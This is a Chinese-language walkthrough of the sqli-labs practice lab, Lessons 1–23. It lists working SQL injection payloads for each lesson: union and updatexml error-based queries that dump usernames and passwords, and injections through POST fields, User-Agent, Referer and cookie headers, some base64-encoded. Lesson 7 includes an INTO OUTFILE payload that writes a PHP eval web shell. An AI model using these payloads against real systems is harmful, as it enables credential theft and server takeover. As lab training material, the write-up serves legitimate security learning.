SQLi-labs
sqlmap WriteUp:https://xz.aliyun.com/t/5720
外国老哥Write Up:https://resources.infosecinstitute.com/tutorial-on-sqli-labs/#gref
一、Less-1:Error Based-String
1 | 1)联合查列数 |
二、Less-2:Error Bases-Intiger
和Less-1的区别只在于查询参数为数字型,不需要单引号闭合。
三、Less-3:Error Bases-String
和Less-1/2的区别只在于查询参数为(‘1’)形式闭合。
四、Less-4:Error Based-DoubleQuotes String
(“1”)形式闭合。
五、Less-5:Double Query- Single Quotes- String——报错注入
输入单引号报错,可知是字符型注入,单引号闭合。当注释或者构造其它SQL语句时无预期回显内容。考虑报错注入。
1 | ?id=1' and updatexml(1,concat('^',(select substring(group_concat(concat_ws('|',username,password)),30,40) from users),'^'),1) --+ |
六、Less-6:Double Query- Double Quotes- String——报错注入
与第五题区别在于双引号闭合
1 | ?id=1" and updatexml(1,concat('^',(select substring(group_concat(concat_ws('|',username,password)),30,40) from users),'^'),1) --+ |
七、Less-7:文件写入操作
简单分析,确实没分析出注入点,输入'
会报错,"
和)
都不报错。源码中的注入点是:SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1
去命令行中试了一下,输入"
和)
虽然不会报错,但是没有办法用;
去结束这句SQL语句,命令行提示还要继续输入一个'
的闭合,具体什么时候会结束什么时候不会结束语句可能和(())
结构有关系,留个坑日后慢慢研究。
1、此题提示是写入文件,那就是写入一句话菜刀连接,可以先用Less2关去获得Mysql的@@basedir和@@datadir。
1 | Less-2?id=-1 union select 1,@@basedir,@@datadir --+ |
2、直接写入
1 | 1')) union select 1,'<?php @eval($REQUEST['zjc']); ?>',3 into outfile "C:\\XAMPP2\\sqli-labs\\less-7\\xm7.php" --+ |
八、Less-8:布尔盲注
启蒙博客:https://blog.csdn.net/mochu7777777/article/details/104825456
多线程也是个不错的选择:比二分法更OK的盲注多线程(python脚本)
自己写了一个二分法布尔盲注,靶机爆破太慢,本地回环测试速度可。脚本可优化,没做模块化,耦合性有点强,同时重复代码有点多。
1 | import requests |
九、Less-9:时间盲注单引号
十、Less-10:时间盲注双引号
同9
十一、Less-11:POST型-有报错的注入
1 | 1、uname=root' or 1=1 limit 8,1 -- &passwd=1&submit=Submit #通过limit直接可获得当前数据库的信息 |
十二、Less-12:POST型-有报错的注入
双引号括号闭合。同上
十三、Less-13:POST型-Double Injection - Single quotes- String -with twist
单引号括号闭合,同上。但是登陆成功无回显,只有报错显示,所以可通过报错注入获得内容
十四、Less-14- POST-Double Injection- Double quotes- String -with twist
双引号闭合,无正确回显,只有报错回显,所以可通过报错注入获得内容。同上
十五、Less-15- POST-Blind-Boolian/time Based- Single quotes- String
未解之谜:select ‘‘ < ‘g’ 是false; 但是 select ascii(‘\‘) < ascii(‘g’)是true!
1 | import requests |
十六、同上,”)
十七、Update-error-based
Update语句:update table set column_name = new_value where username=
POST Payload:
1 | uname=dhakkan&passwd=123' and updatexml(1,concat('^',(select substr(group_concat(id),1,50) from `emails`),'^'),1)# |
注意:这里遇到一坑,update语句对表A进行更新时,不能在同一条语句中对表A进行select查询。
十八、
User-Agent Payload:
1 | User-Agent: 123' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1),'','')# |
十九、
Referer Payload:
1 | Referer: http://192.168.100.74/sqli-labs/Less-19/','' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) )# |
二十、
Cookie Payload:
1 | Cookie: uname=dhakkan' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)# |
二十一、
Cookie Payload:
1 | Cookie: uname=ZGhha2thbicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHNjaGVtYV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIGxpbWl0IDAsMSksMHg3ZSksMSkj |
二十二、
Cookie Payload:
1 | Cookie: uname=ZGhha2thbiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3Qgc2NoZW1hX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEgbGltaXQgMCwxKSwweDdlKSwxKSAj |
二十三、
1 | http://192.168.100.74/sqli-labs/Less-23/?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) or ' |